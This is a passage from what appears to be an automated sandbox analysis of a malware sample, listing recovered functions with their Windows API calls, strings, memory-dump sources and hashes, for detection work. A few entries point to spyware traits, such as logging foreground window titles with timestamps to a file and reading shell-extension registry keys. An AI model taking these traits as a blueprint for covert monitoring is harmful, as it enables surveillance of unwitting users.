Opcode Fuzzy Hash: b09e1c1d355f8bf5026c2120b41cb49257bb75509ccab1b729d36f2766de360e
Instruction Fuzzy Hash: B821A471228AC5D1EB50DF64F88479ABB62F7D5744F8000269A8D83A68EF7DC249CB01

Function 018521D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0185222B
lstrcpy.KERNEL32 ref: 01852241
wsprintfA.USER32 ref: 01852270

Strings

UnKnow, xrefs: 01852235
SOFTWARE\%sW\, xrefs: 01852261

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: a51277b89d53d9fd979bc9866ef7a93b60def922469895ce2032357da70802c0
Instruction ID: ca4ac03462ff0c5b31ddbe4d5402b6795ab41af46e087d458928f4eb19d78bc6
Opcode Fuzzy Hash: a51277b89d53d9fd979bc9866ef7a93b60def922469895ce2032357da70802c0
Instruction Fuzzy Hash: E5116071318A8291EB20DF15E8947DA7762F7D9789F814016CB4D87A64EF3DC249CB11

Function 018522C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0185230D
lstrcpy.KERNEL32 ref: 01852323
wsprintfA.USER32 ref: 01852352

Strings

UnKnow, xrefs: 01852317
SOFTWARE\%sW\, xrefs: 01852343

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 9cfc03760d1ebfa116b9da1b7c2ccccea980c053ad20fa03d195a40971fd47af
Instruction ID: 3a40f9812e00f2d9900daccee1f5c353e6ce7a50c10b1fd47831681b16f56001
Opcode Fuzzy Hash: 9cfc03760d1ebfa116b9da1b7c2ccccea980c053ad20fa03d195a40971fd47af
Instruction Fuzzy Hash: 62116D32318A8292EB60DF15F8847DE6762F7D9784F804012DB8D87968EF3DC649CB01

Function 0184F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0184F629
RegGetValueA.ADVAPI32 ref: 0184F666
RegCloseKey.ADVAPI32 ref: 0184F681

Strings

Start, xrefs: 0184F64B
SOFTWARE\Classes\*\shellex, xrefs: 0184F60B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: 6b89c9d8e21ea6135fd83fc426664e6b3bbab539f409a70ad14c345cc3f9c612
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 8A01ECB2315B8587DB10CF66F48479AB7A4F788794F404125EA8D83B68EF7CC259CB44

Function 0185BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0185BCCF
__free_lconv_num.LIBCMT ref: 0185BDA3
free.LIBCMT ref: 0185BDAF
free.LIBCMT ref: 0185BE5E
free.LIBCMT ref: 0185BE6A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction ID: 97db5a3c3f55e1eb593b29e3aef98aea20bbe8abbd977e39c8da5f2b31665e6b
Opcode Fuzzy Hash: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction Fuzzy Hash: 9851B032315B85CADBA59F2AE48079977A2F7A8B88F544026DF8E87714DF38C642C741

Function 000000018006A388 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000000018006A3A5

Part of subcall function 0000000180069F54: _errno.LIBCMT ref: 0000000180069F5D
Part of subcall function 0000000180069F54: _invalid_parameter_noinfo.LIBCMT ref: 0000000180069F68

_errno.LIBCMT ref: 000000018006A3B5
_errno.LIBCMT ref: 000000018006A3D1
_isatty.LIBCMT ref: 000000018006A432
_getbuf.LIBCMT ref: 000000018006A43E

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno$_fileno_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 2574049805-0
Opcode ID: 5b6755df99d24d0b058b205abb121b16d6685ae85bf1b053a3654a73df7d30c5
Instruction ID: 575ee9a7e6b553be3b3bde6deb045c278d98a49d082474606e634cd0e181697c
Opcode Fuzzy Hash: 5b6755df99d24d0b058b205abb121b16d6685ae85bf1b053a3654a73df7d30c5
Instruction Fuzzy Hash: D451B870118B4C4FF7D9BF18CC857A676D1EB4E350F248255F826CB2D6DE64CA458B81

Function 018571E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01857206
_invalid_parameter_noinfo.LIBCMT ref: 01857211
_getptd.LIBCMT ref: 0185721D
_lock.LIBCMT ref: 01857256
_lock.LIBCMT ref: 018572E9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 3e968f4b25247602d9ebc4293e761be424386542312aeac5d2ab4944936ca97b
Instruction ID: 0bcb154f842b4ea28cc1407ff0bdb5de84d09a8db5ebdaa4c72c9f42641a64d8
Opcode Fuzzy Hash: 3e968f4b25247602d9ebc4293e761be424386542312aeac5d2ab4944936ca97b
Instruction Fuzzy Hash: 3F41E03160568185FB84EB29E9407AE7791FB95BD8FE48129CE4A877A5EF38C241C302

Function 0185A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0185ABAF), ref: 0185AA4E
malloc.LIBCMT ref: 0185AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0185ABAF), ref: 0185AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0185ABAF), ref: 0185AB11
free.LIBCMT ref: 0185AB25

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 1a96ad157ce1951baf330a9013f9f126577114f1e3b98eaeb96bc10fecd3432c
Instruction ID: a5f57b47bbe199dac44e485687a22a4b31acc91380c4fb5820f117e509bf4c94
Opcode Fuzzy Hash: 1a96ad157ce1951baf330a9013f9f126577114f1e3b98eaeb96bc10fecd3432c
Instruction Fuzzy Hash: 85317E32700B808AEF658F6A98506996795FB49BF8F584726EF2D877D4EF39C6018300

Function 018633D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 01863419
_exception_enabled.LIBCMT ref: 0186343C

Part of subcall function 0186331C: _set_statfp.LIBCMT ref: 01863343
Part of subcall function 0186331C: _set_statfp.LIBCMT ref: 018633B6

_raise_exc.LIBCMT ref: 01863488
_ctrlfp.LIBCMT ref: 018634C8
_ctrlfp.LIBCMT ref: 018634F9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 409ac26443783f022fbefe6a8df9f5846b38e280a09cf9805f28d28d4a393446
Instruction ID: 26ef9d87cf0e6edd49bcbc329c1a36381bc4a7df83a578a8d0b3225b9b912050
Opcode Fuzzy Hash: 409ac26443783f022fbefe6a8df9f5846b38e280a09cf9805f28d28d4a393446
Instruction Fuzzy Hash: 56316F36614F858AD711DF29E8406AFB779FB99798F001215FE8D9BA18DF38C545CB00

Function 000000018006C41C Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000000018006C435
__doserrno.LIBCMT ref: 000000018006C4B2
_errno.LIBCMT ref: 000000018006C4B9

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno$__doserrno
String ID:
API String ID: 2614100947-0
Opcode ID: 77af76c63078a9ff30bd69bced64bda3a77f3ba177c00ec59dd11c32fc944ea2
Instruction ID: 4c6b9979027f9e19c0ed17e8a6c8d0a552856fb4c890b448d3dcf16d6d17e1e6
Opcode Fuzzy Hash: 77af76c63078a9ff30bd69bced64bda3a77f3ba177c00ec59dd11c32fc944ea2
Instruction Fuzzy Hash: E3210631204B084AF396EFA8ACA57F93691EB4D391F24812CF426872D3DE648A088357

Function 01853E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 01853EA9
RtlDecodePointer.NTDLL ref: 01853EB9

Part of subcall function 0185846C: _errno.LIBCMT ref: 01858475
Part of subcall function 0185846C: _invalid_parameter_noinfo.LIBCMT ref: 01858480

RtlEncodePointer.NTDLL ref: 01853F37

Part of subcall function 01855400: realloc.LIBCMT ref: 0185542B
Part of subcall function 01855400: Sleep.KERNEL32(?,?,00000000,01853F27,?,00000000,?,01853F95,?,?,?,?,0185330B), ref: 01855447

RtlEncodePointer.NTDLL ref: 01853F47
RtlEncodePointer.NTDLL ref: 01853F54

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: e4ea804094532720dab6bed60888cb1d8cdc29dd7181a5c716c985d19b9b9877
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: FB218031302B4181DB81AB66FA98359B3A1F749FD4F845425EE4E87724EF7CC285C304

Function 0184DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0184DD9F
GetWindowTextA.USER32 ref: 0184DDBC
lstrlen.KERNEL32 ref: 0184DDF5
GetLocalTime.KERNEL32 ref: 0184DE04
wsprintfA.USER32 ref: 0184DE54

Part of subcall function 0184DCA0: WaitForSingleObject.KERNEL32 ref: 0184DCBC
Part of subcall function 0184DCA0: CreateFileA.KERNEL32 ref: 0184DCEE
Part of subcall function 0184DCA0: SetFilePointer.KERNEL32 ref: 0184DD13
Part of subcall function 0184DCA0: lstrlen.KERNEL32 ref: 0184DD1C
Part of subcall function 0184DCA0: WriteFile.KERNEL32 ref: 0184DD39
Part of subcall function 0184DCA0: CloseHandle.KERNEL32 ref: 0184DD42
Part of subcall function 0184DCA0: ReleaseMutex.KERNEL32 ref: 0184DD54

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: 88449a990f5510c4f13c2cfe0e7358f67e90933c2cf40afb92f5d6c2cf98f355
Instruction ID: 7023dd657205147b2cce4b047340808463745cc3c9146e9f80d4f2b7ca541eab
Opcode Fuzzy Hash: 88449a990f5510c4f13c2cfe0e7358f67e90933c2cf40afb92f5d6c2cf98f355
Instruction Fuzzy Hash: 78316272228A85D2E750DF56F8503BAB771F795754F81801AEA8E83A64EF3CC259CB00

Function 00007FF741131110 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF74113114B
GetCurrentProcessId.KERNEL32 ref: 00007FF74113115B
GetCurrentThreadId.KERNEL32 ref: 00007FF741131173
GetTickCount.KERNEL32 ref: 00007FF74113118B
QueryPerformanceCounter.KERNEL32 ref: 00007FF7411311A8

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: fe03dd27f0977dec820b676f5949c31d6c096f2d8143349134bd28f296e355cd
Instruction ID: 8e113870e358eb6a2a1da3785fd1723a63d5571365dbd43347d5781038b2cd0d
Opcode Fuzzy Hash: fe03dd27f0977dec820b676f5949c31d6c096f2d8143349134bd28f296e355cd
Instruction Fuzzy Hash: BA21082161DF0585EB61FB19F850229B7A0FB8DBA8F940239E99D83768DF3CD194CB10

Function 000000018006C2D8 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000000018006C2E1
_errno.LIBCMT ref: 000000018006C2E9

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 667a92f59d48fbaee1744934cfb1b180f14111d40d5466bfd207180379f1cc54
Instruction ID: fd27b05b64d4ccff185cc3c61e005a3bf7481de8d6742cd68523554633a6a140
Opcode Fuzzy Hash: 667a92f59d48fbaee1744934cfb1b180f14111d40d5466bfd207180379f1cc54
Instruction Fuzzy Hash: 7B01A271124B0C4EE7CAAB689C517F53591EB093A6FA4C244B4268A2D3DE2847488312

Function 018598D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 01859907
GetCurrentProcessId.KERNEL32 ref: 01859912
GetCurrentThreadId.KERNEL32 ref: 0185991E
GetTickCount.KERNEL32 ref: 0185992A
QueryPerformanceCounter.KERNEL32 ref: 0185993B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 3cdf17b4c96ed8159a220d9f8fa8a8500680e75982c0f94a05bd45474e954bdf
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: A4015E31369F4486EB80DF21F8943957360F75AB94F54AA20EE9E477A4DF3CCA998300

Function 0184E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0184E625
WaitForSingleObject.KERNEL32 ref: 0184E635
CloseHandle.KERNEL32 ref: 0184E642
Sleep.KERNEL32 ref: 0184E64D
CloseHandle.KERNEL32 ref: 0184E673

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: 8d887a35625601feaa933c2decb25845891e4cf348770c0d2927ee3bfcb04d5d
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: 0B012932615B80C3EB558F66F8943A97360FB88B44F488221DBAE43724DF38D686C300

Function 00000001800698C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 0000000180069903
_errno.LIBCMT ref: 000000018006990D
_invalid_parameter_noinfo.LIBCMT ref: 0000000180069914

Strings

-, xrefs: 000000018006992F

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: 346e5d923e0d9ff5aba62f2013815449536585ed66be785d0d19899d863e548d
Instruction ID: 43cb9b601233faaa27d0f0a79e27b91e4171050672f2445a03858c692fa96a30
Opcode Fuzzy Hash: 346e5d923e0d9ff5aba62f2013815449536585ed66be785d0d19899d863e548d
Instruction Fuzzy Hash: 1E41F631618B4C4FE7D6EB6C9C827EA73D5EB99394F20851EF499C3281DE20C9498793

Function 0000000180069180 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 00000001800691B9
_errno.LIBCMT ref: 00000001800691C3
_invalid_parameter_noinfo.LIBCMT ref: 00000001800691CA

Strings

-, xrefs: 0000000180069200

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: cf44e57f76dfbef9c54caafb22c7ccad457b56d991957fe7fa709ce45996ea2d
Instruction ID: f9e662708a113e0328e75b145a6a22dd31eb71e66e29237d931264f1a38e2930
Opcode Fuzzy Hash: cf44e57f76dfbef9c54caafb22c7ccad457b56d991957fe7fa709ce45996ea2d
Instruction Fuzzy Hash: 7A21FB31218F4D4BD7D5EB689C857E673D6FB89350F24852EB45AC3181DE24CA098782

Function 0186312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 01863167
_errno.LIBCMT ref: 01863171
_invalid_parameter_noinfo.LIBCMT ref: 01863178

Strings

-, xrefs: 01863193

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: fa7790a630be98be3ae47732084a11e55004f15becba7b5be19ff7d7dac5f857
Instruction ID: 33e0f5b4ce95cc8d576039ef5fc4610645fdc1a1c02a9b1256e424c91df5835e
Opcode Fuzzy Hash: fa7790a630be98be3ae47732084a11e55004f15becba7b5be19ff7d7dac5f857
Instruction Fuzzy Hash: FB314822304A8485DB219F29F90075ABB69F755BE4F144226EF9C87B99DF3DC205CB01

Function 018540AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 01853334: _getptd.LIBCMT ref: 01853346

_errno.LIBCMT ref: 018540D9
_invalid_parameter_noinfo.LIBCMT ref: 018540E4

Part of subcall function 01858CB8: iswctype.LIBCMT ref: 01858D25

Strings

A, xrefs: 0185411C
Z, xrefs: 01854122

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 0737903c8df96771b697ea7068ca47f8de0bd31d6f9306ab78c63e05fe34376d
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: C221F972B54B9282EBB05B19904017D7BA0F360BE1B988212EFD987798EB28C7C1C705

Function 01863728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01863741
_invalid_parameter_noinfo.LIBCMT ref: 0186374D
_errno.LIBCMT ref: 01863774

Strings

1, xrefs: 018637C3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction ID: ddabbd77f368d7138067a9f829b1f06fc4982a8792828ba71f51928ac3bb3b5c
Opcode Fuzzy Hash: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction Fuzzy Hash: 9911E4A22197C496EB1B8F6C845472C6E58FB55B84F89C431CF4A87353D62ECB40C712

Function 00007FF741150A50 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741150B32

Strings

_set_error_mode, xrefs: 00007FF741150B24
("Invalid error_mode", 0), xrefs: 00007FF741150ACE, 00007FF741150B2B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 00007FF741150AE3, 00007FF741150B1D

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
